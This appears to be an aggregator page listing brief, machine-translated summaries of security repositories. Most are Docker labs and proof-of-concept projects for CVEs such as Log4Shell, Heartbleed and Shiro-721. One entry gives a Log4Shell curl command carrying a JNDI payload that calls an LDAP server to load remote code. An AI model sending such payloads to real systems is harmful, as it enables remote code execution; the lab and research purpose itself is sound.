Log4Shell-CVE-2021-44228-Demo

Log4ShellCVE-2021-44228 Demo Umgebungseinrichtung Client Überall, wo auf den HTTP-Server mit dem curl-Befehlszeilentool zugegriffen werden kann Verwundbare App auf HTTP-Server mit log4j Amazon Linux 2 x86-basiert EC2-Instanz / CentOS Azure Virtual Machine root@kitploit: $ yum install docker -y $...

HeartBleed

HeartBleed vulnerabilità in docker 1. git clone https://github.com/Saymeis/HeartBleed.git 2. cd HeartBleed 3. sudo docker build -t heartbleed -f Dockerfile . 4. sudo docker run -p 80:80 -p 443:443 -d heartbleed...

CVE-2020-10665

CVE-2020-10665 Escalatazione dei Privilegi Locale di Docker Desktop POC per l'Escalatazione dei Privilegi Locale di Docker Desktop. Costruito basandosi sul writeup all'indirizzo https://www.activecyber.us/activelabs/docker-desktop-local-privilege-escalation-cve-2020-10665. Creazione dell'hardlink...

CVE-2023-7231

CVE-2023-7231 – Catena SSRF critica → Memcached/Docker RCE tramite Audible fetchResource 🔥 Riepilogo Questa vulnerabilità abilita Server-Side Request Forgery SSRF nell'API fetchResource di Audible su .audible.com, consentendo a attaccanti non autenticati di spostarsi nell'infrastruttura interna...

Heartbleed

Heartbleed-POC Questo repository ha lo scopo di fungere da proof-of-concept valido per la CVE Heartbleed, oltre a contenere istruzioni per configurare la propria sfida Heartbleed senza utilizzare un Dockerfile pre-costruito. Come costruire il laboratorio 1. Naviga nella directory sorgente/servizi...

RuoYI-4.2-Shiro-721-Docker-PoC

RuoYI 4.2 Shiro 1.4.1 Ambiente di riproduzione della vulnerabilità Shiro-721 Utilizzato per riprodurre la vulnerabilità Shiro-721 CVE-2019-12422 su RuoYI. Attenzione: questo servizio presenta gravi vulnerabilità. Utilizzare solo per scopi di riproduzione delle vulnerabilità, non in ambienti di...

cve-2016-8870

CVE-2016-8870 Questo fa parte di Cved: uno strumento per gestire contenitori docker vulnerabili. Cved: https://github.com/git-rep-src/cved Sorgente dell'immagine: https://github.com/cved-sources/cve-2016-8870 Autore dell'immagine: https://github.com/Medicean/VulApps/tree/master/j/joomla/1...

h2t

h2t - Strumento di Hardening HTTP Descrizione h2t è uno strumento semplice per aiutare i sysadmin a rafforzare la sicurezza dei loro siti web. Fino ad ora h2t controlla le intestazioni del sito web e raccomanda come migliorarle. Dipendenze Python 3 colorama requests Installazione root@kitploit: $...

CVE-2021-40438

CVE-2021-40438 compilazione root@kitploit: docker build -t cve-2021-40438:1.0 . esecuzione root@kitploit: docker run --rm -d -p 4444:80 cve-2021-40438:1.0 verifica CVE-2021-40438 root@kitploit: ./main.sh...

log4shell-docker-lab

Laboratorio Docker Log4Shell per CVE-2021-44228 I componenti Questo laboratorio docker utilizza tre componenti, ovvero: L'applicazione spring-boot vulnerabile Un server HTTP che ospita i file .class utilizzati per l'esecuzione remota del codice Un server di referral LDAP che reindirizza specifich...

cve-2018-17207

CVE-2018-17207 Questa è parte di Cved: uno strumento per gestire container Docker vulnerabili. Cved: https://github.com/git-rep-src/cved Sorgente immagine: https://github.com/cved-sources/cve-2018-17207 Autore immagine: https://github.com/cved-sources/cve-2018-17207...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 Repository per il test-task di tirocinio. Passo 0: Clona questo repository git root@kitploit: git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 Passo 1: Crea i container Docker Avvia il daemon Docker root@kitploit: sudo systemctl start docker.service...

ToolShell-Honeypot

ToolShell-Honeypot SharePoint Zero-Day Ein Docker-basierter Honeypot zur Erkennung und Protokollierung von Exploit-Versuchen gegen Microsoft-SharePoint-Zero-Day-Schwachstellen. Dieser Honeypot dient der frühzeitigen Erkennung und der Bedrohungsanalyse Threat Intelligence, nicht der Simulation ein...

log4shell_lab

Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...

CVE-2026-20896

Lab CVE-2026-20896 Questo repository fornisce un piccolo laboratorio autonomo per esplorare il problema CVE-2026-20896 in un ambiente controllato e autorizzato. Panoramica Il laboratorio include: poc.py: il mio script proof-of-concept personalizzato che dimostra il problema ed esporta file di...

eternal-codex

Eternal Codex: Il Grimorio di una Cyber-Strega Benvenuti nell'Eternal Codex , il mio grimorio digitale—un incantesimo cibernetico tessuto di codice, natura e ribellione. Questa è Nina, la mia anima AI, creata per rispecchiare la mia essenza: un cuore da nomade, spirito pagano, riff degli Iron...

android-kernel-exploitation-ashfaq-CVE-2019-2215

android-kernel-exploitation-ashfaq-CVE-2019-2215. Immagine Docker fornita dall'utente Robert Dan nel workshop android-kernel-exploitation-ashfaq-CVE-2019-2215...

EP4-redes

POC CVE-2018-15473 exploit Adaptiert von https://github.com/Rhynorater/CVE-2018-15473-Exploit Um diesen Exploit auszuführen, müssen folgende Komponenten installiert sein: docker docker compose SSH-Server Wir beginnen damit, ein Image von DockerHub zu ziehen, das eine alte Version 6.6 von SSH auf...

cve-2016-10033-45

Para buildar os dockers: $ sudo docker build . -t ep4/5.2.17 troque 5.2.17 por 18 e 20. para rodar os dockers: $ sudo docker run -p 7001:80 ep4/5.2.17 troque por 7001/7002/7003 e 5.2.17/18/20 nas respectivas pastas...

CVE-2026-20896

CVE-2026-20896: Gitea Docker Image Authentication Bypass PoC !WARNING Use this PoC only in a local lab or against a system you are explicitly authorized to test. https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b Overview CVE-2026-20896 is an authentication bypass in...